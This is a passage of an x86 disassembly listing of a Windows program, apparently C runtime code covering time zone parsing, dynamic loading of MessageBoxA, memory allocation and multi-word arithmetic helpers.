		mov	eax, esi
		pop	esi
		retn
sub_424770	endp


; =============== S U B	R O U T	I N E =======================================



sub_42478C	proc near		; CODE XREF: sub_4222C2+73p
					; sub_4222C2+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 28F095Eh
		test	eax, eax
		jz	short loc_4247A4
		xor	esi, esi

loc_4247A4:				; CODE XREF: sub_42478C+14j
		mov	eax, esi
		pop	esi
		retn
sub_42478C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247A8	proc near		; CODE XREF: sub_4222C2+15Bp
					; sub_42470C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		nop
		call	near ptr 2600A69h
		test	eax, eax
		jz	short loc_4247BC
		xor	esi, esi

loc_4247BC:				; CODE XREF: sub_4247A8+10j
		mov	eax, esi
		pop	esi
		retn
sub_4247A8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42255C

loc_4247C0:				; CODE XREF: sub_42255C:loc_4225ADj
		push	0Ah
		call	sub_4235C9
		push	16h
		call	sub_425955
		pop	ecx
		pop	ecx
		push	3
		call	sub_41B7C2
; END OF FUNCTION CHUNK	FOR sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4247D7	proc near		; CODE XREF: sub_422669:loc_4226A8p
		cmp	dword_4DB560, 0
		jnz	short locret_4247EB
		call	sub_4247EC
		inc	dword_4DB560

locret_4247EB:				; CODE XREF: sub_4247D7+7j
		retn
sub_4247D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247EC	proc near		; CODE XREF: sub_4247D7+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_4DB4A8, ebp
		mov	dword_43CD50, ebx
		mov	dword_43CD40, ebx
		call	sub_425AC7
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_424915
		push	offset dword_4DB4B0
		nop
		call	near ptr 28B0000h
		cmp	eax, ebx
		jz	loc_424A44
		mov	eax, dword_4DB4B0
		mov	ecx, dword_4DB504
		imul	eax, 3Ch
		cmp	word_4DB4F6, bp
		push	1
		pop	edx
		mov	dword_43CCA8, eax
		mov	dword_4DB4A8, edx
		jz	short loc_424863
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_43CCA8, eax

loc_424863:				; CODE XREF: sub_4247EC+69j
		cmp	word_4DB54A, bp
		jz	short loc_424887
		mov	eax, dword_4DB558
		cmp	eax, ebp
		jz	short loc_424887
		sub	eax, ecx
		mov	dword_43CCAC, edx
		imul	eax, 3Ch
		mov	dword_43CCB0, eax
		jmp	short loc_424893
; ---------------------------------------------------------------------------

loc_424887:				; CODE XREF: sub_4247EC+7Ej
					; sub_4247EC+87j
		mov	dword_43CCAC, ebp
		mov	dword_43CCB0, ebp

loc_424893:				; CODE XREF: sub_4247EC+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_42717C
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_43CD34
		push	ebx
		push	offset dword_4DB4B4
		push	edi
		push	dword_4DB344
		call	esi
		test	eax, eax
		jz	short loc_4248D0
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_4248D0
		mov	eax, off_43CD34
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_4248D8
; ---------------------------------------------------------------------------

loc_4248D0:				; CODE XREF: sub_4247EC+D1j
					; sub_4247EC+D7j
		mov	eax, off_43CD34
		and	byte ptr [eax],	0

loc_4248D8:				; CODE XREF: sub_4247EC+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_43CD38
		push	ebx
		push	offset dword_4DB508
		push	edi
		push	dword_4DB344
		call	esi
		test	eax, eax
		jz	loc_424A3C
		cmp	[esp+14h+var_4], ebp
		jnz	loc_424A3C
		mov	eax, off_43CD38
		and	byte ptr [eax+3Fh], 0
		jmp	loc_424A44
; ---------------------------------------------------------------------------

loc_424915:				; CODE XREF: sub_4247EC+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_424A44
		mov	eax, dword_4DB55C
		cmp	eax, ebp
		jz	short loc_424938
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_424A44

loc_424938:				; CODE XREF: sub_4247EC+139j
		push	dword_4DB55C
		call	sub_41B0B1
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_4DB55C, eax
		jz	loc_424A44
		push	esi
		push	eax
		call	sub_41BEB0
		push	3
		push	esi
		push	off_43CD34
		call	sub_41B5F0
		mov	eax, off_43CD34
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_42498D
		push	1
		inc	esi
		pop	edi

loc_42498D:				; CODE XREF: sub_4247EC+19Bj
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_43CCA8, ecx

loc_4249A4:				; CODE XREF: sub_4247EC+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_4249B2
		cmp	al, bl
		jl	short loc_4249B5
		cmp	al, 39h
		jg	short loc_4249B5

loc_4249B2:				; CODE XREF: sub_4247EC+1BCj
		inc	esi
		jmp	short loc_4249A4
; ---------------------------------------------------------------------------

loc_4249B5:				; CODE XREF: sub_4247EC+1C0j
					; sub_4247EC+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_43CCA8
		add	ecx, eax
		mov	dword_43CCA8, ecx

loc_4249D3:				; CODE XREF: sub_4247EC+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_4249E0
		cmp	al, 39h
		jg	short loc_4249E0
		inc	esi
		jmp	short loc_4249D3
; ---------------------------------------------------------------------------

loc_4249E0:				; CODE XREF: sub_4247EC+1EBj
					; sub_4247EC+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	ecx, dword_43CCA8
		add	ecx, eax
		mov	dword_43CCA8, ecx

loc_4249FB:				; CODE XREF: sub_4247EC+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_424A08
		cmp	al, 39h
		jg	short loc_424A08
		inc	esi
		jmp	short loc_4249FB
; ---------------------------------------------------------------------------

loc_424A08:				; CODE XREF: sub_4247EC+1CCj
					; sub_4247EC+1F7j ...
		cmp	edi, ebp
		jz	short loc_424A14
		neg	ecx
		mov	dword_43CCA8, ecx

loc_424A14:				; CODE XREF: sub_4247EC+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_43CCAC, eax
		jz	short loc_424A3C
		push	3
		push	esi
		push	off_43CD38
		call	sub_41B5F0
		mov	eax, off_43CD38
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_424A44
; ---------------------------------------------------------------------------

loc_424A3C:				; CODE XREF: sub_4247EC+10Bj
					; sub_4247EC+115j ...
		mov	eax, off_43CD38
		and	byte ptr [eax],	0

loc_424A44:				; CODE XREF: sub_4247EC+40j
					; sub_4247EC+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4247EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424A4A	proc near		; CODE XREF: sub_422669+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43CCAC, edi
		jnz	short loc_424A5E

loc_424A57:				; CODE XREF: sub_424A4A+148j
					; sub_424A4A+150j ...
		xor	eax, eax
		jmp	loc_424BAA
; ---------------------------------------------------------------------------

loc_424A5E:				; CODE XREF: sub_424A4A+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_43CD40
		jnz	short loc_424A7C
		cmp	eax, dword_43CD50
		jz	loc_424B7E

loc_424A7C:				; CODE XREF: sub_424A4A+24j
		cmp	dword_4DB4A8, edi
		jz	loc_424B54
		movzx	ecx, word_4DB556
		push	ecx
		cmp	word_4DB548, di
		movzx	ecx, word_4DB554
		push	ecx
		movzx	ecx, word_4DB552
		push	ecx
		movzx	ecx, word_4DB550
		push	ecx
		jnz	short loc_424ACE
		movzx	ecx, word_4DB54C
		push	edi
		push	ecx
		movzx	ecx, word_4DB54E
		push	ecx
		movzx	ecx, word_4DB54A
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_424AE2
; ---------------------------------------------------------------------------

loc_424ACE:				; CODE XREF: sub_424A4A+65j
		movzx	ecx, word_4DB54E
		push	ecx
		push	edi
		movzx	ecx, word_4DB54A
		push	edi
		push	ecx
		push	eax
		push	edi

loc_424AE2:				; CODE XREF: sub_424A4A+82j
		push	ebx
		call	sub_424BF6
		movzx	eax, word_4DB502
		add	esp, 2Ch
		cmp	word_4DB4F4, di
		push	eax
		movzx	eax, word_4DB500
		push	eax
		movzx	eax, word_4DB4FE
		push	eax
		movzx	eax, word_4DB4FC
		push	eax
		jnz	short loc_424B3C
		movzx	eax, word_4DB4F8
		push	edi
		push	eax
		movzx	eax, word_4DB4FA
		push	eax
		movzx	eax, word_4DB4F6
		push	eax
		push	dword ptr [esi+14h]
		push	ebx

loc_424B31:				; CODE XREF: sub_424A4A+108j
		push	edi
		call	sub_424BF6
		add	esp, 2Ch
		jmp	short loc_424B7E
; ---------------------------------------------------------------------------

loc_424B3C:				; CODE XREF: sub_424A4A+C8j
		movzx	eax, word_4DB4FA
		push	eax
		push	edi
		movzx	eax, word_4DB4F6
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_424B31
; ---------------------------------------------------------------------------

loc_424B54:				; CODE XREF: sub_424A4A+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_424BF6
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_424BF6
		add	esp, 58h

loc_424B7E:				; CODE XREF: sub_424A4A+2Cj
					; sub_424A4A+F0j
		mov	edx, dword_43CD44
		mov	eax, dword_43CD54
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_424BAE
		cmp	ecx, edx
		jl	loc_424A57
		cmp	ecx, eax
		jg	loc_424A57
		cmp	ecx, edx
		jle	short loc_424BC2
		cmp	ecx, eax
		jge	short loc_424BC2

loc_424BA8:				; CODE XREF: sub_424A4A+166j
					; sub_424A4A+16Aj
		mov	eax, ebx

loc_424BAA:				; CODE XREF: sub_424A4A+Fj
					; sub_424A4A+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_424BAE:				; CODE XREF: sub_424A4A+144j
		cmp	ecx, eax
		jl	short loc_424BA8
		cmp	ecx, edx
		jg	short loc_424BA8
		cmp	ecx, eax
		jle	short loc_424BC2
		cmp	ecx, edx
		jl	loc_424A57

loc_424BC2:				; CODE XREF: sub_424A4A+158j
					; sub_424A4A+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_424BE9
		xor	ecx, ecx
		cmp	eax, dword_43CD48
		setnl	cl

loc_424BE5:				; CODE XREF: sub_424A4A+1AAj
		mov	eax, ecx
		jmp	short loc_424BAA
; ---------------------------------------------------------------------------

loc_424BE9:				; CODE XREF: sub_424A4A+18Ej
		xor	ecx, ecx
		cmp	eax, dword_43CD58
		setl	cl
		jmp	short loc_424BE5
sub_424A4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424BF6	proc near		; CODE XREF: sub_424A4A+99p
					; sub_424A4A+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_424C91
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_424C21
		shl	esi, 2
		mov	eax, dword_43CD58[esi]
		jmp	short loc_424C2A
; ---------------------------------------------------------------------------

loc_424C21:				; CODE XREF: sub_424BF6+1Ej
		shl	esi, 2
		mov	eax, dword_43CD8C[esi]

loc_424C2A:				; CODE XREF: sub_424BF6+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_424C64
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_424C6E
; ---------------------------------------------------------------------------

loc_424C64:				; CODE XREF: sub_424BF6+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax

loc_424C6E:				; CODE XREF: sub_424BF6+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_424CAC
		cmp	[ebp+arg_8], 0
		jnz	short loc_424C82
		mov	esi, dword_43CD5C[esi]
		jmp	short loc_424C88
; ---------------------------------------------------------------------------

loc_424C82:				; CODE XREF: sub_424BF6+82j
		mov	esi, dword_43CD90[esi]

loc_424C88:				; CODE XREF: sub_424BF6+8Aj
		cmp	ecx, esi
		jle	short loc_424CAC
		sub	ecx, 7
		jmp	short loc_424CAC
; ---------------------------------------------------------------------------

loc_424C91:				; CODE XREF: sub_424BF6+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_424CA2
		mov	ecx, dword_43CD58[eax*4]
		jmp	short loc_424CA9
; ---------------------------------------------------------------------------

loc_424CA2:				; CODE XREF: sub_424BF6+A1j
		mov	ecx, dword_43CD8C[eax*4]

loc_424CA9:				; CODE XREF: sub_424BF6+AAj
		add	ecx, [ebp+arg_18]

loc_424CAC:				; CODE XREF: sub_424BF6+7Cj
					; sub_424BF6+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_424CDD
		mov	eax, [ebp+arg_1C]
		mov	dword_43CD44, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_43CD40, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43CD48, eax
		jmp	short loc_424D32
; ---------------------------------------------------------------------------

loc_424CDD:				; CODE XREF: sub_424BF6+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_43CD54, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_43CCB0
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43CD58, eax
		jns	short loc_424D15
		add	eax, 5265C00h
		dec	ecx
		mov	dword_43CD58, eax
		jmp	short loc_424D26
; ---------------------------------------------------------------------------

loc_424D15:				; CODE XREF: sub_424BF6+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_424D2C
		sub	eax, edx
		inc	ecx
		mov	dword_43CD58, eax

loc_424D26:				; CODE XREF: sub_424BF6+11Dj
		mov	dword_43CD54, ecx

loc_424D2C:				; CODE XREF: sub_424BF6+126j
		mov	dword_43CD50, ebx

loc_424D32:				; CODE XREF: sub_424BF6+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424BF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D36	proc near		; CODE XREF: ___:00422E9Dp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_424D47
		add	esp, 0Ch
		retn
sub_424D36	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D47	proc near		; CODE XREF: sub_424D36+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4DC7E1[eax], cl
		jnz	short loc_424D74
		cmp	[esp+arg_4], 0
		jz	short loc_424D6D
		movzx	eax, word_43C302[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_424D6F
; ---------------------------------------------------------------------------

loc_424D6D:				; CODE XREF: sub_424D47+16j
		xor	eax, eax

loc_424D6F:				; CODE XREF: sub_424D47+24j
		test	eax, eax
		jnz	short loc_424D74
		retn
; ---------------------------------------------------------------------------

loc_424D74:				; CODE XREF: sub_424D47+Fj
					; sub_424D47+2Aj
		push	1
		pop	eax
		retn
sub_424D47	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D78	proc near		; CODE XREF: sub_4235C9+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4DB564, ebx
		push	esi
		push	edi
		jnz	short loc_424DC7
		push	offset aUser32_dll ; "user32.dll"
		call	near ptr 26C0000h
		nop
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_424DFD
		mov	esi, dword_4270BC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_4DB564, eax
		jz	short loc_424DFD
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4DB568, eax
		call	esi
		mov	dword_4DB56C, eax

loc_424DC7:				; CODE XREF: sub_424D78+Bj
		mov	eax, dword_4DB568
		test	eax, eax
		jz	short loc_424DE6
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_424DE6
		mov	eax, dword_4DB56C
		test	eax, eax
		jz	short loc_424DE6
		push	ebx
		call	eax
		mov	ebx, eax

loc_424DE6:				; CODE XREF: sub_424D78+56j
					; sub_424D78+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4DB564

loc_424DF9:				; CODE XREF: sub_424D78+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_424DFD:				; CODE XREF: sub_424D78+1Cj
					; sub_424D78+33j
		xor	eax, eax
		jmp	short loc_424DF9
sub_424D78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424E01	proc near		; CODE XREF: sub_423936+22p
					; sub_423936+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_424E22
		test	esi, esi
		jnz	short loc_424E1C
		push	1
		pop	esi

loc_424E1C:				; CODE XREF: sub_424E01+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h

loc_424E22:				; CODE XREF: sub_424E01+12j
					; sub_424E01+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_424E81
		mov	eax, dword_4DC908
		cmp	eax, 3
		jnz	short loc_424E4D
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DC900
		ja	short loc_424E6C
		push	eax
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424E97
		jmp	short loc_424E6C
; ---------------------------------------------------------------------------

loc_424E4D:				; CODE XREF: sub_424E01+30j
		cmp	eax, 2
		jnz	short loc_424E6C
		cmp	esi, dword_43C2F4
		ja	short loc_424E6C
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424EAB

loc_424E6C:				; CODE XREF: sub_424E01+3Bj
					; sub_424E01+4Aj ...
		push	esi
		push	8
		push	dword_4DC904
		nop
		call	near ptr 27D0000h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_424EA5

loc_424E81:				; CODE XREF: sub_424E01+26j
		cmp	dword_4DB2FC, 0
		jz	short loc_424EA5
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jz	short loc_424EAE
		jmp	short loc_424E22
; ---------------------------------------------------------------------------

loc_424E97:				; CODE XREF: sub_424E01+48j
		push	[ebp+arg_0]

loc_424E9A:				; CODE XREF: sub_424E01+ABj
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch

loc_424EA5:				; CODE XREF: sub_424E01+7Ej
					; sub_424E01+87j
		mov	eax, edi

loc_424EA7:				; CODE XREF: sub_424E01+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_424EAB:				; CODE XREF: sub_424E01+69j
		push	esi
		jmp	short loc_424E9A
; ---------------------------------------------------------------------------

loc_424EAE:				; CODE XREF: sub_424E01+92j
		xor	eax, eax
		jmp	short loc_424EA7
sub_424E01	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4239DB

loc_424EB2:				; CODE XREF: sub_4239DB+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4DC5A0, esi
		jle	short loc_424F05

loc_424EC1:				; CODE XREF: sub_4239DB+1528j
		mov	eax, dword_4DB598
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_424EFC
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_424EE0
		push	eax
		call	sub_41B05B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_424EE0
		inc	edi

loc_424EE0:				; CODE XREF: sub_4239DB+14F6j
					; sub_4239DB+1502j
		cmp	esi, 14h
		jl	short loc_424EFC
		mov	eax, dword_4DB598
		push	dword ptr [eax+esi*4]
		call	sub_41B0B1
		mov	eax, dword_4DB598
		pop	ecx
		and	dword ptr [eax+esi*4], 0

loc_424EFC:				; CODE XREF: sub_4239DB+14F0j
					; sub_4239DB+1508j
		inc	esi
		cmp	esi, dword_4DC5A0
		jl	short loc_424EC1

loc_424F05:				; CODE XREF: sub_4239DB+14E4j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_4239DB

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424F0A	proc near		; CODE XREF: sub_423A33+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4DC6C0
		jnb	loc_42503F
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DC5C0[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_42503F
		push	1
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_425049
		push	2
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_425049
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FEC
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_41B590
		push	8000h
		push	ebx
		call	sub_425B44
		add	esp, 14h
		mov	[ebp+arg_4], eax

loc_424FA0:				; CODE XREF: sub_424F0A+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_424FAB
		mov	eax, edi

loc_424FAB:				; CODE XREF: sub_424F0A+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_424FC9
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FDF
		jmp	short loc_424FA0
; ---------------------------------------------------------------------------

loc_424FC9:				; CODE XREF: sub_424F0A+B5j
		cmp	dword_4DB27C, 5
		jnz	short loc_424FDC
		mov	dword_4DB278, 0Dh

loc_424FDC:				; CODE XREF: sub_424F0A+C6j
		or	esi, 0FFFFFFFFh

loc_424FDF:				; CODE XREF: sub_424F0A+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_425B44
		pop	ecx
		pop	ecx
		jmp	short loc_42502C
; ---------------------------------------------------------------------------

loc_424FEC:				; CODE XREF: sub_424F0A+71j
		jge	short loc_42502C
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_42272B
		push	ebx
		call	sub_4238A2
		add	esp, 10h
		push	eax
		call	near ptr 2600000h
		nop
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42502C
		mov	dword_4DB278, 0Dh
		call	near ptr 2690800h
		nop
		mov	dword_4DB27C, eax

loc_42502C:				; CODE XREF: sub_424F0A+E0j
					; sub_424F0A:loc_424FECj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_42504C
; ---------------------------------------------------------------------------

loc_42503F:				; CODE XREF: sub_424F0A+1Aj
					; sub_424F0A+36j
		mov	dword_4DB278, 9

loc_425049:				; CODE XREF: sub_424F0A+4Ej
					; sub_424F0A+63j
		or	eax, 0FFFFFFFFh

loc_42504C:				; CODE XREF: sub_424F0A+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_424F0A	endp


; =============== S U B	R O U T	I N E =======================================



sub_425050	proc near		; CODE XREF: sub_4241CF+2Bp
					; sub_4241CF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_425066
		cmp	ecx, esi
		jnb	short loc_425069

loc_425066:				; CODE XREF: sub_425050+10j
		push	1
		pop	eax

loc_425069:				; CODE XREF: sub_425050+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_425050	endp


; =============== S U B	R O U T	I N E =======================================



sub_425071	proc near		; CODE XREF: sub_42512A+40p
					; sub_42512A+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		inc	dword ptr [esi+8]

loc_4250A3:				; CODE XREF: sub_425071+19j
					; sub_425071+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250BB
		inc	dword ptr [esi+8]

loc_4250BB:				; CODE XREF: sub_425071+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_425071	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250CF	proc near		; CODE XREF: sub_42512A+30p
					; sub_42512A+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_4250CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250FD	proc near		; CODE XREF: sub_4256C2+1C8p
					; sub_425BBA+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
